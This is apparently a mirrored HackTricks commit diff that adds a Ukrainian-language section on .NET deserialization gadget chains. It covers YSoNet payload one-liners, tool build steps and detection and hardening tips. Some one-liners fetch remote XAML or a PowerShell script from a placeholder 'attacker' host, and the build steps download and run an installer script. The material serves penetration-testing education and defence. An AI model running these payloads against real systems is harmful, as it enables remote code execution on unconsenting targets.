mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
parent
7c267dfe3e
commit
086a6e6d10
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
|
||||
|
||||
Техніка ObjectDataProvider + ExpandedWrapper, представлена вище, є лише однією з БАГАТЬОХ ланцюгів гаджетів, які можна зловживати, коли додаток виконує **неконтрольовану десеріалізацію .NET**. Сучасні інструменти червоної команди, такі як **[YSoNet](https://github.com/irsdl/ysonet)** (та старіший [ysoserial.net](https://github.com/pwntester/ysoserial.net)), автоматизують створення **готових до використання шкідливих об'єктних графів** для десятків гаджетів і форматів серіалізації.
|
||||
|
||||
Нижче наведено стисле посилання на найбільш корисні ланцюги, що постачаються з *YSoNet*, разом з коротким поясненням того, як вони працюють, та прикладами команд для генерації корисних навантажень.
|
||||
|
||||
| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
|
||||
|--------------|----------------------|--------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Пошкоджує запис `DelegateSerializationHolder`, так що, після матеріалізації, делегат вказує на *будь-який* метод, наданий атакуючою стороною (наприклад, `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Зловживає `System.Workflow.ComponentModel.ActivitySurrogateSelector`, щоб *обійти фільтрацію типів .NET ≥4.8* і безпосередньо викликати **конструктор** наданого класу або **компілювати** файл C# на льоту | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Використовує **стару XML** репрезентацію `System.Data.DataSet`, щоб інстанціювати довільні типи, заповнюючи поля `<ColumnMapping>` / `<DataType>` (опціонально підробляючи збірку з `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | У середовищах з підтримкою WPF (> .NET 5) з'єднує геттери властивостей, поки не досягне `System.CodeDom.Compiler.CompilerResults`, потім *компілює* або *завантажує* DLL, надану з `-c` | `Json.NET` без типу, `MessagePack` без типу | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (огляд) | Використовує WPF `System.Windows.Data.ObjectDataProvider`, щоб викликати довільний статичний метод з контрольованими аргументами. YSoNet додає зручний варіант `--xamlurl`, щоб розмістити шкідливий XAML віддалено | `BinaryFormatter`, `Json.NET`, `XAML`, *тощо* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Вбудовує `ScriptBlock` у `System.Management.Automation.PSObject`, який виконується, коли PowerShell десеріалізує об'єкт | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> Усі корисні навантаження **за замовчуванням записуються в *stdout***, що робить їх простими для передачі в інші інструменти (наприклад, генератори ViewState, кодувальники base64, HTTP-клієнти).
|
||||
|
||||
### Building / Installing YSoNet
|
||||
|
||||
Якщо під *Actions ➜ Artifacts* / *Releases* немає доступних попередньо скомпільованих бінарних файлів, наступна **PowerShell** команда налаштує середовище для збірки, клонуватиме репозиторій і скомпілює все в режимі *Release*:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Скомпільований `ysonet.exe` можна знайти за адресою `ysonet/bin/Release/`.
|
||||
|
||||
### Виявлення та зміцнення
|
||||
* **Виявляйте** несподівані дочірні процеси `w3wp.exe`, `PowerShell.exe` або будь-який процес, що десеріалізує дані, надані користувачем (наприклад, `MessagePack`, `Json.NET`).
|
||||
* Увімкніть та **забезпечте фільтрацію типів** (`TypeFilterLevel` = *Full*, користувацький `SurrogateSelector`, `SerializationBinder`, *тощо*), коли застарілий `BinaryFormatter` / `NetDataContractSerializer` не може бути видалений.
|
||||
* Де можливо, мігруйте до **`System.Text.Json`** або **`DataContractJsonSerializer`** з конвертерами на основі білого списку.
|
||||
* Блокуйте небезпечні збірки WPF (`PresentationFramework`, `System.Workflow.*`), щоб вони не завантажувалися в веб-процесах, яким вони ніколи не потрібні.
|
||||
|
||||
## Посилання
|
||||
- [YSoNet – .NET Deserialization Payload Generator](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – оригінальний PoC інструмент](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user